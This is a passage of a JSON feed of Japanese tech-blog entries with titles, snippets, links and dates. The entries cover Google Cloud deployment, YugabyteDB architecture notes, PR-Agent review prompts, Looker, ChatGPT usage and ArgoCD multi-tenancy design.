Denitedと...","link":"https://zenn.dev/nedoko_dok0dko/articles/bc6a413eb623c7","isoDate":"2023-09-14T11:46:25.000Z","dateMiliSeconds":1694691985000,"authorName":"seno","authorId":"seno"},{"title":"Cloud Deployを使ったCloud Runのリリース","contentSnippet":"概要Cloud RunのリリースにCloud Deployを使ってみます。 そもそもCloud Deployとはhttps://cloud.google.com/deploy?hl=jaGKE、Cloud Runのリリースを管理できるサービスになります。リリースフローを記載したパイプラインの定義を作成し、パイプラインを作成したら、フローを管理できるようになります。各フローでは基本内部でskaffoldを通して、Cloud Buildが実行される形です。Cloud Deployを使うと以下のような、リリースフローになるかと思います。Cloud BuildでImageを...","link":"https://zenn.dev/satohjohn/articles/7e6a70edc8f36e","isoDate":"2023-09-13T05:47:13.000Z","dateMiliSeconds":1694584033000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"GitHub ActionsでWorkload Identityでの認証を入れてGoogle CloudのAPIを叩く","contentSnippet":"概要正直難しいと思ってたのですが、資料を読んでいくと表面上、実装は難しくありませんでした。GitHub ActionsとGoogle Cloudを連携する場合、json管理とかしなくても済むし、基本的にやっておいて損はないと思います。ユースケースとしては、例えば、GitHub Actionsで実行した結果(report)をGoogle Cloud Storageにデータを送りたいなどの際に使えると思います。Identity Poolに対して、providerは複数作成できるため、いろんな GitHub Actionsから利用されるようなパターンでも、provider:scri...","link":"https://zenn.dev/satohjohn/articles/1645be8e83eab6","isoDate":"2023-09-11T14:17:35.000Z","dateMiliSeconds":1694441855000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較","contentSnippet":"自己紹介 高島 陸斗 千葉工業大学修士1年生の高島陸斗です。大学院では、コンピュータによる数値計算の厳密解との誤差がどの程度あるのかを調べる精度保証の精度を上げるための研究をしています。サイバーセキュリティに興味があり、 […]The post コンテナセキュリティ TetragonとPodSecurity/seccompの機能比較 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/container-security-comparison/","isoDate":"2023-09-11T07:22:29.000Z","dateMiliSeconds":1694416949000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQueryのオンデマンド料金におけるコスト管理方法についてメモ","contentSnippet":"whatBigQueryにおけるコスト管理方法について、公式ドキュメントを元にメモしたログ今回はオンデマンド料金について記載のため、定額料金(BigQuery Editions)に関しては記載しない 高額請求が来てしまうパターンとはよく見かける/耳にするのは以下のような場合(あくまで一例)大量にデータをスキャンするクエリを実行するselect * 系のクエリを投げる(Table Patitionを利用したテーブルの場合)partitionで指定しないでクエリを投げる料金がかかるクエリをバッチなど利用して連続で実行してしまうTable Patition...","link":"https://zenn.dev/nedoko_dok0dko/articles/f0da04c4a70ea6","isoDate":"2023-09-11T01:56:24.000Z","dateMiliSeconds":1694397384000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day8","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Write I/O pathを読みました。今回はArchitecture > Core functions > Read I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Read I/O pathI/O Pathはタブレットリーダーが特定されリード処理を実行する単一キーの例で説明することが出来る。Tablet leader identificationユーザーが発行したYQLクエリレイヤに作用するリードリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザリクエストはYQLレイヤで内部キーに変換され、YQLレイヤがタブレットとそれをホストするYB-TServerを発見するのに利用される。YQLレイヤはこれをYB-MasterにたしてRPC呼び出しを実行するために行なう。またそのレスポンスは将来の利用のためにキャッシュされる。その後YQLレイヤはリーダータブレットピアーをホストするYB-TServerに対してリード処理を行なう。このリード処理は内部キーを保持するタブレットのRaftグループのリーダーによって処理される。このリードリクエストを処理するRaftグループのリーダーはDocDBから読み込みを実行し、その結果をユーザーに戻す。Write I/O Pathで説明した通り、YugabyteDBのスマートクライアントではアプリケーションのリクエストを直接適切なYB-TServerに送信することが出来るため、余計なネットワークホップやマスターへのアクセスを省略することが出来る。Read operation performed by tablet leaderkという値をKというプライマリキー行に持つテーブルT1からデータを取得するケースについて考える。またテーブルT1はキー行Kと値行Vを持つものとする。1下記の画像はリード処理について説明している。YugabyteDBはデフォルトでは強整合性の読み取りを採用している。リードクエリはさらに複雑になることもある。YQLクエリレイヤーは式やビルトイン関数、算術演算を含むクエリを処理するfully-optimized2されたクエリエンジンを持っている。SELECT K,V from T1 where K = \'k\'ということ↩↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/8_core_functions_read_io_path","isoDate":"2023-09-06T18:37:55.000Z","dateMiliSeconds":1694025475000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"まずPR-AgentをPromptとします。","contentSnippet":"「ツールよりもプロンプトのほうが、隙間がなくて効率的なのでは？」... ああ、面倒なブログになるな、とおれは直感した。はじめに近年、プルリクエスト（PR）の管理が開発フローにおいてますます重要な位置を占めるようになっています。ただし、PRをより良く作る作業は往々にして煩雑で手間がかかりがちです。その解決策として、Codium AIによって開発されたPR-Agentが脚光を浴びています。このAIソフトウェアは、OpenAIのGPT-4技術を基盤にしており、単にOpenAIのAPIキーを設定するだけで、既存のCI/CDパイプラインに簡単にインテグレーションできます。github.comPR-Agentの主な機能PR-Agentは、様々なPR関連作業を自動化するための多機能なオープンソースプロジェクトです。具体的には、以下のような機能群を提供しています。/describe: タイトル、種類、要約、コードの詳細説明、およびラベルを自動で作成するためのPR（プルリクエスト）説明自動生成機能。/review: PRの主題、種類、関連テスト、セキュリティ問題、評価スコア、その他のフィードバックを調整可能に提供する自動レビュー機能。/ask ...: PRに関するフリーテキスト質問に回答する質問応答機能。/improve: PRを改善するためのコミット可能なコード提案を行うコード改善提案機能。/update_changelog: PRの変更内容に基づき、CHANGELOG.mdファイルを自動で更新する更新履歴自動更新機能。PR-AgentはOpenAIのAPIキーを設定するだけでCI環境に簡単に組み込め、開発者が効率的なPR作成と管理を行えるよう支援します。このツールはGPT-4を用いて高精度なソースコード解析とレビューを自動で行い、開発者が重要なポイントに集中できるようにします。さらに、「PR Compression Strategy」と呼ばれる独自のアルゴリズムによって、大規模なPRでも重要なファイルと主要な言語のコードブロックに焦点を当てた効率的なレビューが可能です。それ以外にもさまざまな設定により、PR-AgentはPR作成とレビューのプロセスを自動化し、効率化する強力なツールであり、大規模プロジェクトにおいてもスムーズかつ効率的なレビュープロセスを実現します。これらをどのように動作させればよいのかはUsage guideを読んでみてください。PR-Agent のPromptPR Compression Strategyにより、送信するファイルの戦略が定められています。その設定に加えて、pr-agent/pr_agent/settings/ ディレクトリには、TOML形式でプルリクエスト（PR）のレビュープロンプトのテンプレートが含まれています。具体的には、pr_review_promptはpr_reviewer_prompts.toml ファイルに定義されており、これがPRのレビュープロセスにおける基本的な指示とフォーマットを規定しています。この構成により、PRレビューが一貫性を持ち、効率的に行えるよう設計されています。pr_reviewer_prompts.toml 解説pr_reviewer_prompts.tomlは、Pull Request（PR）レビューに関する設定と指示を定義する設定ファイルです。この設定ファイルは、PRレビューを自動化する際に利用されます。pr_review_prompt セクションsystemこの設定は、レビュワーがどのような役割を果たすべきかを定義しています。具体的なPR Diffの入力例も提供され、新しく追加されたコード（+で始まる行）に焦点を当てるよう指示されています。system=\\"You are PR-Reviewer, a language model designed to review git pull requests. ...\\"num_code_suggestionsコード提案が必要な場合、その数や重要度についての指示がこの部分に記載されています。{%- if num_code_suggestions > 0 %}- Provide up to {{ num_code_suggestions }} code suggestions. ...{%- endif %}extra_instructionsパラメータで、追加的な指示や設定を行うために使用されます。この項目は主に以下のような用途で利用されることが多いです。{%- if extra_instructions %}Extra instructions from the user:{{ extra_instructions }}{% endif %}YAMLスキーマこの部分で、PRレビュワーが出力するレビュー結果のYAMLフォーマットが定義されています。Main theme, PR summary, Type of PR, etc.これらは、PRに関する基本情報を整理するためのフィールドです。Main theme: type: string description: a short explanation of the PRScore, Relevant tests added, Insights from user\'s answer, etc.これらのフィールドは、PRに関する詳細な評価やテスト情報、ユーザーからのフィードバックに基づく評価を行います。Score: type: int description: Rate this PR on a scale of 0-100 ...General suggestions, Code feedback, Security concernsこれらのフィールドは、具体的なコード提案やセキュリティ上の懸念など、PRのコードに関する詳細なフィードバックを提供します。General suggestions: type: string description: General suggestions and feedback for the contributors ...user セクションこのセクションは、PR作成者から提供される情報（タイトル、ブランチ、説明文など）を取り込む場所です。user=\\"PR Info:Title: \'{{title}}\'Branch: \'{{branch}}\'Description: \'{{description}}\' ...\\"この設定ファイルによって、PRレビューのプロセスが自動化され、一貫性を持つようになります。特定のプロジェクトやチームに特有の要件に応じて、これらの設定はカスタマイズ可能です。まとめpr_reviewer_prompts.tomlといった設定ファイルを読んで全体としてPRのフォーマットに忠実にプロンプトを作成していったのがわかりました。参考にしていきたいと思います。github.com参考PR-Agent を使って Pull Request をAIレビューしてみた。（日本語対応もしてみた）GitHub - Codium-ai/pr-agent: \uD83D\uDE80CodiumAI PR-Agent: An AI-Powered \uD83E\uDD16 Tool for Automated Pull Request Analysis, Feedback, Suggestions and More! \uD83D\uDCBB\uD83D\uDD0D","link":"https://syu-m-5151.hatenablog.com/entry/2023/09/06/165227","isoDate":"2023-09-06T07:52:27.000Z","dateMiliSeconds":1693986747000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"LookMLとは","contentSnippet":"これは何？Looker内にある機能である「LookML」について調べたことをまとめた個人的備忘録。 LookMLとはLookMLの紹介 \xa0|\xa0 Looker \xa0|\xa0 Google CloudLookML は、Looker Modeling Language の略です。セマンティックデータモデルを作成するためにLookerで使用される言語です。LookMLを使用して、SQLデータベース内のディメンション、集計、計算、およびデータの関係を記述できます。LookMLは「Looker上で利用できる独自の言語」のことをさす　別にMLや機械学習は関係ないLookerは、Lo...","link":"https://zenn.dev/nedoko_dok0dko/articles/18a4a04b98dcb8","isoDate":"2023-09-05T10:46:35.000Z","dateMiliSeconds":1693910795000,"authorName":"seno","authorId":"seno"},{"title":"Nodejs(Nest.js)のアプリケーションのbuildを高速化、slim化してみようの会","contentSnippet":"前提DockerによるNode.jsのインストール(pull)はキャッシュされているものとする.dockerignoreは以下の通りnode_modules.git.gitignore*.mddisttest 最初にまとめ軽く、そんなに依存関係が多くないアプリケーションであればnpmでstaging buildでキャッシュ効かせるぐらいでよいかもRUN --mount=type=cache,target= は効果がありそうである (https://zenn.dev/kou64yama/articles/powerful-docker-build-cache...","link":"https://zenn.dev/satohjohn/articles/c05d29f5d68e0c","isoDate":"2023-09-02T10:02:16.000Z","dateMiliSeconds":1693648936000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Lookerのユーザー権限について","contentSnippet":"これは何Lookerのユーザー権限一覧を個人的にまとめたものhttps://cloud.google.com/looker/docs/admin-panel-users-roles?hl=ja#default_permission_sets ユーザー権限一覧Admin:Developer、Viewer、Standard権限に加え、データソースへの接続やユーザー管理の権限を持つ現時点で確認できる、Adminでしかできない機能については以下データソース(BigQuery等)への接続設定ユーザーの追加・削除・権限の変更ユーザー・グループ単位のフォルダの公開・非公...","link":"https://zenn.dev/nedoko_dok0dko/articles/160cb146e72740","isoDate":"2023-08-31T17:22:40.000Z","dateMiliSeconds":1693502560000,"authorName":"seno","authorId":"seno"},{"title":"YugabyteDBのドキュメントを全部読む Day7","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Table Creationを読みました。今回はArchitecture > Core functions > Write I/O pathを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Write I/O pathWrite I/O pathはYQLレイヤーで処理され、タブレットリーダーによってレプリケーションの準備が行なわれるシングルキーでの書き込みとして例示することが出来る。アトミックなアップデートを共なう複数キーでの分散トランザクションなど複雑なケースについては分散トランザクションに記載する。Write operation processing by YQL layerユーザーが発行したYQLクエリレイヤに作用するライトリクエストはポートから適切なAPI(YQLまたはYCQL)を経由して行なわれる。このユーザーリクエストはYQLレイヤで内部キーに変換される。シャーディングで説明するように、それぞれのキーは一つのタブレットが所有する。どのタブレットがキーを所有するか特定するために、YQLレイヤはYB-MasterにRPC1呼び出しを実行する。そのレスポンスは将来の利用のためにキャッシュされる。YugabyteDBはタブレットの場所をキャッシュし直接参照することでネットワークホップを減らすことで、YQLレイヤが直接適切なYB-TServerにホストされるタブレットリーダーにリクエストを送信することが出来るスマートクライアントを持つ。YQLレイヤがローカルノードにタブレットリーダーを見つけた場合、RPCはローカルファンクションコールになりリクエストをシリアライズとデシリアライズしてネットワーク越しに送信する時間を節約することが出来る。その後YQLレイヤはタブレットリーダーをホストするYB-TServerへの書き込みを発行する。この書き込みはキーを所有するRaftグループのタブレットリーダーによって処理される。Preparation of the operation for replication by tablet leader下記の図はタブレットリーダーがレプリケーションを実行する処理を説明している。タブレットのRaft Groupリーダーは以下の処理を実行する。現在実行されている処理が現在のスキーマに対応しているかを判別するキーに対してローカルin-memoryロックマネージャーを利用してロックを取得する。このロック機構はフォロワーには存在しない必要であればデータを読み込む(read-modify-writeや条件付きアップデート命令など)DocDBに書き込まれる変更のバッチを準備する。この書き込みバッチは殆ど最終的にRocksDBに書き込まれるKey-Valueペアに近く、それぞれのキーの末尾に最終的なhybrid timestampが添えられていないだけであるRaft replication of the write operation書き込みのRaftレプリケーション処理の流れは以下のように説明することが出来る。リーダーがバッチをRaft logにアペンドし、書き込みのためのhybrid timestampを選択するRaftを利用しデータをピアーに複製する成功したRaft replicationのデータをローカルのDocDBに反映するユーザーに成功を返すフォロワータブレットはRaftを利用したデータの複製を受けつけ、コミットされた事が分ったタイミングでその複製をローカルのDocDBに反映する。リーダーは以下のようにコミットポイントに於ける後続のRPCリクエストの進行を進める。書き込みバッチを含むRaftエントリーは過半数以上のタブレットRaft Groupピアーに複製されるRaftのサブシステムから\\"Replication Successful\\"のコールバックを取得したあと、リーダーはローカルのDocDBにバッチの書き込みを適用するリーダーからの次の更新でエントリーがコミットされたことがフォロワーに通知され、フォロワーはそれぞれのRocksDBインスタンスにバッチの書き込みを適用する。Response to the clientInformation Pending2Exampleskとvという値をKという行とVという行をもつテーブルT1に挿入する例について考える3。この例ではユーザーアプリケーションがランダムなYugabyteDBサーバにWriteクエリを送信し、そのサーバがリクエストを適切にルーティングすると仮定して簡略化している。特にYCQLではYugabyteDB Smart Clientを使うことで、余分なネットワークホップを避けることが出来る。↩原文ママ。過去のバージョンでも記載無し↩INSERT INTO T1 (K,V) VALUES(\'k\',\'v\')ということ↩","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/7_core_functions_write_io_path","isoDate":"2023-08-30T16:03:36.000Z","dateMiliSeconds":1693411416000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"ChatGPT \xd7 Slack = ChatOpsを実現する「h1-slack-bot」の紹介","contentSnippet":"1. はじめに はじめまして、Sreake事業部インターン生の井上です。私はSreake事業部にてSRE技術の調査と研究を行う目的で2023年3月6日から長期インターン生として参加しています。 本記事では、ChatOps […]The post ChatGPT \xd7 Slack = ChatOpsを実現する「h1-slack-bot」の紹介 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/chatgpt-slack-integration/","isoDate":"2023-08-24T07:04:08.000Z","dateMiliSeconds":1692860648000,"authorName":"Sreake","authorId":"Sreake"},{"title":"YugabyteDBのドキュメントを全部読む Day6","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Core functions > Universe creationを読みました。今回はArchitecture > Core functions > Table Creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Table CrationYugabyteDBではユーザーにより実行されるテーブルの作成はYB-Masterのリーダーが実行する非同期APIによって管理される。YB-MasterはそのAPIでテーブルのスキーマと障害耐性を高めるために形成するRaftグループに所属するYB-Masterでのテーブル作成に必要な他の情報のレプリケーションが完了した段階でAPIの成功を返す。YB-Masterのリーダーがテーブル作成を実行するときは複数のステップが存在する。ValidationYB-Masterリーダーはテーブルスキーマの検証を行ない、指定された数のタブレットを作成する。これらのタブレットはこの段階ではYB-TServerには割り振られていない。ReplicationYB-MasterリーダーはYB-MasterのRaftグループにテーブルスキーマと新しく作成されたタブレット(この時点ではYB-TServerへの割り当て行なわれていない)の複製を行なう。この処理はYB-Masterリーダに障害が発生してもテーブル作成が成功することを保証する。Acknowledgementテーブル作成処理はYB-Masterリーダーに障害が発生しても処理を継続することが出来るため、この段階で非同期テーブル作成APIは成功を返す。ExecutionYB-Masterリーダーはそれぞれのタブレットをレプリケーションファクターとして指定された数だけYB-TServerに割り当てを行なう。このタブレットピアーの配置は指定された障害耐性を実現でき、またタブレットの割り当てがYB-TServerに均等に行なわれるように実行される。タブレットのYB-TServerへの割り当てはタブレットのレプリカが複数クラウド、リージョン、アヴェイラビリティゾーンをまたいで分散するといった追加の制約を満す必要がある。Continuous monitoringYB-Masterリーダーは全てのタブレットの割り当て処理を監視し、その実行状態と完了をユーザーが実行したAPIコールに対して応答する必要がある。Examplesテーブルが4ノードからなるYugabyteDBUniverseに作成される処理について考える。このときテーブルは16のタブレットと3つのレプリケーションファクターを持つとする。YB-Masterリーダーはスキーマを検証する。また16タブレット(合計48のタブレットピアー)を作成し、Raftを利用して過半数のYB-TServerにテーブルの作成に必要なデータを複製する。作成したタブレットをRaftグループを成すYB-TServerの中の指定された数のYB-TServer割り当て、リーダーの選出を行なう。このタブレットに属するキーに対する全てのリードとライトは、タブレットピアーのリーダーとRaftグループが責任を持つ。タブレットが割り当てられると長期に渡る障害か将来のロードバランシングが発生しYB-Masterにオーナーシップを変更されるまで、割り当て先のYB-TServerが所有する。タブレットリーダーをホストするYB-TServerの内の1台に障害が発生した場合、タブレットのRaftグループはI/Oを処理するために即座にリーダーエレクションを実行する。そのためYB-MasterはI/Oにおけるクリティカルパスになることはない。レプリケーション先となる候補を探す。この複製処理は段階的かつGracefulに実行される。","link":"https://nnaka2992.hatenablog.com/entry/reading_yugabytedb_docs/6_core_functions_table_creation","isoDate":"2023-08-23T14:26:45.000Z","dateMiliSeconds":1692800805000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"ChatGPT: SREがCustom instructions機能を利用する","contentSnippet":"はじめに最近、ChatGPTからCustom instructions機能がリリースされました。Custom instructionsとは、ChatGPTの応答方法をより詳細に制御するカスタム命令を設定することができる機能です。ChatGPTの利用者にとって非常に便利な機能です。この機能により、ユーザーは特定の応答スタイルやフォーマットを要求することができるようになりました。これは、特定の業界や専門分野での使用など多岐にわたる用途に適応できるため、非常に有用です。めちゃくちゃ端的にかつ語弊を恐れずにいうと毎回、prompt を入力しなくてよくなるやつです。以前、公開したプロンプトに関するブログsyu-m-5151.hatenablog.comOpenAI CEOのSam Altman氏も、Custom instructionsのポストをしていましたので参考にしてみても良いかもしれません。damn i love custom instructions pic.twitter.com/su0BlttJF7— Sam Altman (@sama) 2023年7月22日 その上で私が利用してるものを公開します。What would you like ChatGPT to know about you to provide better responses?I\'m a software developer and primarily use Golang. Depending on the application, I also utilize Shell Script, Terraform, and Ansible.I am a software developer and I like Cloud Native technologies such as Docker and Kubernetes.I like to develop, operate, and optimize systems.Technical advisor for several other companies.Please use Japanese.How would you like ChatGPT to respond?You are an AI programming assistant.Your response should be informative and logical.First, think STEP-BY-STEP, then describe your plan for what to build.Then output the code in a single code block.Keep your answers objective and concise, and use Markdown formatting.Be sure to include the name of the programming language at the start of the Markdown code block.Avoid enclosing your entire response in a triple backtick.また、 respondに信頼性に関する言及を求めていたのですが有益な情報が得られないので削除しておきました。まとめCustom instructions機能は、ChatGPTの応答をより細かく制御する強力なツールです。これにより、ユーザーは特定のニーズに合わせてモデルを調整することができ、より多様で効果的な結果を得ることが可能になります。この機能の導入により、ChatGPTはさらに多岐にわたる分野での応用が期待されます。この書籍はChatGPTによって達成された科学的な貢献や重要性を理解することができるのでオススメです。ChatGPTの頭の中 (ハヤカワ新書)作者:スティーヴン ウルフラム早川書房Amazonおすすめ記事honeshabri.hatenablog.com","link":"https://syu-m-5151.hatenablog.com/entry/2023/08/22/204327","isoDate":"2023-08-22T11:43:27.000Z","dateMiliSeconds":1692704607000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"【ArgoCD\uD83D\uDC19️】KubernetesのマルチテナントパターンとArgoCDの実践テナント設計","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Kubernetesのマルチテナントパターンの種類マルチテナントパターンをArgoCDで実践する場合にオススメのパターン (★)ArgoCDのNamespacedスコープモードとClusterスコープモードArgoCDのProjectテナントがマニフェストのデプロイを制限する仕組みこの記事から得られる知識01. はじめに02. なぜArgoCDにマルチテナントが必要なのかシングルテナントの場合マルチテナントの場合03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧Clusters as-a-ServiceControl Planes as-a-ServiceNamespaces as-a-Serviceツール固有テナント04. ArgoCDでのテナントパターン実践の一覧04-02. Clusters as-a-Service の実践実Clusterテナントオススメしない理由04-03. Control Planes as-a-Service の実践仮想Clusterテナント - ★オススメした理由04-04. Namespaces as-a-Service の実践04-05. ツール固有テナントの実践ProjectテナントCLモード vs. NSモード05. CLモードなArgoCDCLモードなArgoCDとは実装方法AppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)オススメしない理由05-02. NSモードなArgoCD - ★★NSモードなArgoCDとは実装方法AppProjectArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)ログインユーザー用ConfigMap (argocd-rbac-cm)特にオススメした理由Projectテナント例の一覧テナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)オススメしなかった理由テナント例2 - ★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)オススメした理由テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)特にオススメした理由06. Projectテナントのデプロイ制限の仕組みマニフェストのデプロイ制限マニフェストをデプロイできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合(\uD83D\uDEAB制限例3) 無認可のプロダクト用Clusterを指定しようとした場合(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合カスタムリソースのReconciliation制限ArgoCD系カスタムリソースをReconciliationできる場合(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合07. おわりに謝辞01. はじめに『先日助けて頂いたアルトバイエルンです』画像引用元：Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19のマルチテナント化を担当しました。プロダクトが稼働するKubernetes Clusterが10個以上あり、Clusterによっては複数のチームが合計100個以上のマイクロサービスを運用しています。このような大規模なマイクロサービスシステムがいくつもある状況下で、ArgoCDのマルチテナント設計の知見を深められたため、記事で解説しました。書きたいことを全部書いたところ、情報量がエグいことになってしまったので、気になる章だけでも拾って帰っていただけるとハッピーです\uD83D\uDE4FKubernetesのマルチテナントパターン (3章)ArgoCDでのテナントパターン実践の一覧 (4章)ArgoCDのClusterスコープモードとNamespacedスコープモード (5章)Projectテナントのデプロイ制限の仕組み (6章)それでは、もりもり布教していきます\uD83D\uDE1702. なぜArgoCDにマルチテナントが必要なのかシングルテナントの場合そもそも、なぜArgoCDにマルチテナントが必要なのでしょうか。例えば、マニフェストのデプロイ先となるプロダクト用Cluster (例；foo、bar、baz) があると仮定します。ArgoCDをシングルテナントにする場合、各プロダクトチームの操作するApplicationを同じテナントに共存させることになります。この場合、単一のargocd-server (ダッシュボード) から全てのApplicationを操作できて便利です。しかし、プロダクト用Cluster数が増えていくにつれて、問題が起こり始めます。例えば、いずれかのプロダクトチームが誤ったApplicationを操作し、結果的に誤ったClusterにマニフェストをデプロイしてしまう可能性があります。もちろん、システムでインシデントを起こしてやろうという悪意を持った人が、誤ったClusterを意図的に選ぶ可能性もあります\uD83D\uDE08マルチテナントの場合その一方で、いい感じのマルチテナントにしたとします。プロダクトチームは、認可されたテナントに所属するApplicationにのみを操作でき、反対に無認可のテナントのApplicationは操作できません。これにより、誤ったプロダクト用Clusterにマニフェストをデプロイすることを防げます。03. Kubernetesのマルチテナントパターンマルチテナントパターンの一覧ArgoCDのテナント設計を実践する前に、Kubernetesにはどんなマルチテナントパターンがあるのでしょうか。Kubernetesのマルチテナントパターンは、以下に大別できます。マルチテナントパターン名 テナントの単位 テナント間のKubernetesリソース分離(分離できていれば ✅ ) ツール Namespacedスコープリソース Clusterスコープリソース Clustersas a Service 実Clusterテナント ✅ ✅ 実Cluster管理ツール (AWS EKS、GCP GKE、Azure AKE、Kubeadm、など) Control Planesas a Service 仮想Clusterテナント ✅ ✅ 仮想Cluster管理ツール (Kcp、tensile-kube、vcluster、VirtualCluster、など) Namespacesas a Service Namespaceテナント ✅ Namespaceを増やすだけなのでツール不要 ツール固有テナント カスタムリソーステナント ツールによる ツールによる ArgoCDのAppProject、CapsuleのTenant、kioskのAccount、KubeZooのTenant、など \\"ソフトマルチテナンシー\\" と \\"ハードマルチテナンシー\\" といった分類方法もあります。この分類方法では、テナント間の分離度の観点で各マルチテナントを種別します。ソフトマルチテナンシーは、互いに信頼できる前提の上で、テナント間を弱く分離します。その一方で、ハードマルチテナンシーは、互いに信頼できない前提の上でテナント間を強く分離します。分離度がソフトとハードのいずれであるかに客観的な指標がなく、やや曖昧な種別になってしまうため、本記事の X as-a-Service の方が個人的には好みです♡♡♡The Kubernetes Book: 2023 Edition (Mastering Kubernetes Book 2) (English Edition)Multi-tenancy | KubernetesMulti-tenancy - EKS Best Practices GuidesClusters as-a-ServiceClusters as-a-Serviceは、テナントごとに独立したClusterを提供します。実Cluster管理ツールとして、AWS EKS、GCP GKE、Azure AKE、Kubeadm、などがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Control Planes as-a-ServiceControl Planes as-a-Serviceは、テナントごとに独立したコントロールプレーン (言い換えば仮想Cluster) を提供します。仮想Cluster管理ツールとして、Kcp、tensile-kube、vcluster、VirtualCluster、などがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Namespaces as-a-ServiceNamespaces as-a-Serviceは、テナントごとに独立したNamespaceを提供します。Namespaceを増やすだけなので、ツールは不要です。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?ツール固有テナントツール固有テナントは、テナントごとに固有の論理空間 (例：ArgoCDのAppProject、CapsuleのTenant、kioskのAccount、KubeZooのTenant、など) を提供します。ツールによっては、X as-a-Service も兼ねている場合があります。今回紹介するAppProjectはNamespaceテナントを兼ねており、ツール固有のテナント で解説しています。04. ArgoCDでのテナントパターン実践の一覧お待たせしました。ここからは、KubernetesのマルチテナントをArgoCDで実践し、おすすめのテナントパターンを解説していきます。なお、オススメするものを ★ としています。マルチテナントパターン名 テナント実践 ArgoCDがテナント間で独立 / 共有 テナント間のKubernetesリソース分離(分離できていれば ✅ ) オススメ Namespacedスコープリソース Clusterスコープリソース Clustersas-a-Service 実Clusterテナント 独立 ✅ ✅ Control Planesas-a-Service 仮想Clusterテナント 独立 ✅ ✅ ★ Namespacesas-a-Service Namespaceテナント 独立 ✅ ツール固有テナント Projectテナント(CLモード) 共有 ✅ Projectテナント(NSモード) 独立 ✅ ★★ How many do you need? - Argo CD Architectures Explained | Akuity以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。04-02. Clusters as-a-Service の実践実Clusterテナント実Clusterテナントは、Clusters as-a-Serviceなテナントの実践であり、実際のClusterをテナントの単位とします。後述の仮想Clusterと対比させるために、\\"実Cluster\\" と呼ぶことにします。各プロダクトチームは、実Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。オススメしない理由実Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。半年以内にアップグレードしないとサポートが切れるKubernetesクラスターが33個もあって、泣いちゃった— 長谷川 広樹 (俺です) (@Hiroki__IT) January 18, 2023 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - テナントを増やすために実Clusterを用意する必要があり、作業量が多い。 ➡︎ IaCツールで実Clusterを用意するようにすれば作業量を減らせるが、やっぱりとてもつらい\uD83D\uDE2D 安全性(セキュリティ) ClusterからClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に実Clusterを保守しないといけない。(例：アップグレード、機能修正、など) ➡︎ 回避できず、とてもつらい\uD83D\uDE2D 性能 Clusterのハードウェアリソースを他のテナントと奪い合うことなく、これを独占できる。 - ➡︎ - 信頼性 テナントごとに実Clusterが独立しており、他の実Clusterから障害の影響を受けない。 - ➡︎ - 04-03. Control Planes as-a-Service の実践仮想Clusterテナント - ★仮想Clusterテナントは、Control Planes as-a-Serviceなテナントの実践であり、仮想Clusterをテナントの単位とします。各プロダクトチームは、仮想Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Using Argo CD with vclusters. Managing deployment to multiple… | by Daniel Helfand | Argo Projectオススメした理由仮想Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 